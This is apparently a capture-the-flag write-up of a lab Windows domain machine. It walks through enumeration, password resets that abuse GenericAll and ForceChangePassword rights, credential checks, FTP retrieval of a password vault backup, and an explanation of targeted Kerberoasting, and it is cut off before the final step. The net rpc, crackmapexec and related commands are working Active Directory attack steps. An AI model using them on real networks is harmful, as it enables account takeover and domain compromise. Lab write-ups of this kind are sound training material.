Administrator is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the michael account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user olivia has GenericAll permissions over michael, allowing us to reset his password. With access as michael, it is revealed that he can force a password change on the user benjamin, whose password is reset. This grants access to FTP where a backup.psafe3 file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user emily. Further enumeration shows that emily has GenericWrite permissions over the user ethan, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for ethan, who is found to have DCSync rights ultimately allowing retrieval of the Administrator account hash and full domain compromise.
As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich.
└─$ nmap -p$ports -sC -sV $VICTIMStarting Nmap 7.95 ( https://nmap.org ) at 2026-01-31 13:20 CET
Nmap scan report for administrator.htb (10.129.5.192)Host is up (0.043s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-31 19:20:17Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
50986/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
50997/tcp open msrpc Microsoft Windows RPC
51002/tcp open msrpc Microsoft Windows RPC
51005/tcp open msrpc Microsoft Windows RPC
51021/tcp open msrpc Microsoft Windows RPC
57513/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-01-31T19:21:14
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m00s
Let’s add dc.administrator.htb & administrator.htb to our /etc/hosts
└─$ bloodhound-python -d administrator.htb -u olivia -dc dc.administrator.htb -ns $VICTIM -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)Password:
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.administrator.htb:88)][Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 11S
From the results we find interesting domain privileges.
It shows basically that our known user can pivot to michael and then benjamin with the GenericAll and ForceChangePassword object controls.
So at first what we can do is basically gain access to michael by changing his password.
1
└─$ net rpc password michael 'NewPass123!' -U 'ADMINISTRATOR.HTB/olivia%ichliebedich' -S administrator.htb
1
2
3
└─$ crackmapexec smb administrator.htb -u michael -p 'NewPass123!' --continue-on-success
SMB administrator.htb 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC)(domain:administrator.htb)(signing:True)(SMBv1:False)SMB administrator.htb 445 DC [+] administrator.htb\michael:NewPass123!
We can confirm our attack worked. Without but post-enumeration for user michael we go straight to do the same and pivot to user benjamin.
1
└─$ net rpc password benjamin 'NewPass123!' -U 'ADMINISTRATOR.HTB/michael%NewPass123!' -S administrator.htb
Benjamin is part of the group Share Moderators and so let’s see if he is the one being able to access the FTP share.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
─$ ftp [email protected]Connected to administrator.htb.
220 Microsoft FTP Service
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49435|)125 Data connection already open; Transfer starting.
10-05-24 08:13AM 952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||49439|)125 Data connection already open; Transfer starting.
100% |************************************************|952 33.20 KiB/s 00:00 ETA
226 Transfer complete.
We come across Backup.psafe3. The extension is for single password encrypted files from Password Safe.
From their website: Whether the answer is one or hundreds, Password Safe allows you to safely and easily create a secured and encrypted user name/password list. With Password Safe all you have to do is create and remember a single “Master Password” of your choice in order to unlock and access your entire user name/password list.
We find that there is a mode (5200) in Hashcat that can try crack the password of the backup.
Let’s use this.
Looking at our new user access we see that Emily has also interesting outbound controls. She has GenericWrite to Ethan who later can GetChangesAll from the Administrator.htb domain, in other words perform DCSync. Let’s first abuse GenericWrite.
Info
Generic Write access grants you the ability to write to any non-protected attribute on the target object, including “members” for a group, and “serviceprincipalnames” for a user.
With GenericWrite we can follow two routes for abusing this. Either we perform Shadow Credential Attack were we write msds-KeyCredentialLink attribute on the target object (Ethan) and authenticate as the principal using kerberos PKINIT.
Alternatively, we can perform a Targeted Kerberoast attack as GenericWrite enables Emily to set a ServicePrincipalName (SPN) on the targeted user. Then we get and crack that hash.
We will go with the later!
For that we are going to use targetedKerberoast.py, a tool that can perform that specific attack. Basically to perform a targeted kerberoast, we’ll use the GenericWrite privilege to give ethan an SPN. Then we can request a ticket for that fake service, and get a ticket encrypted with ethan’s password hash. If that password is weak, I can crack it offline.
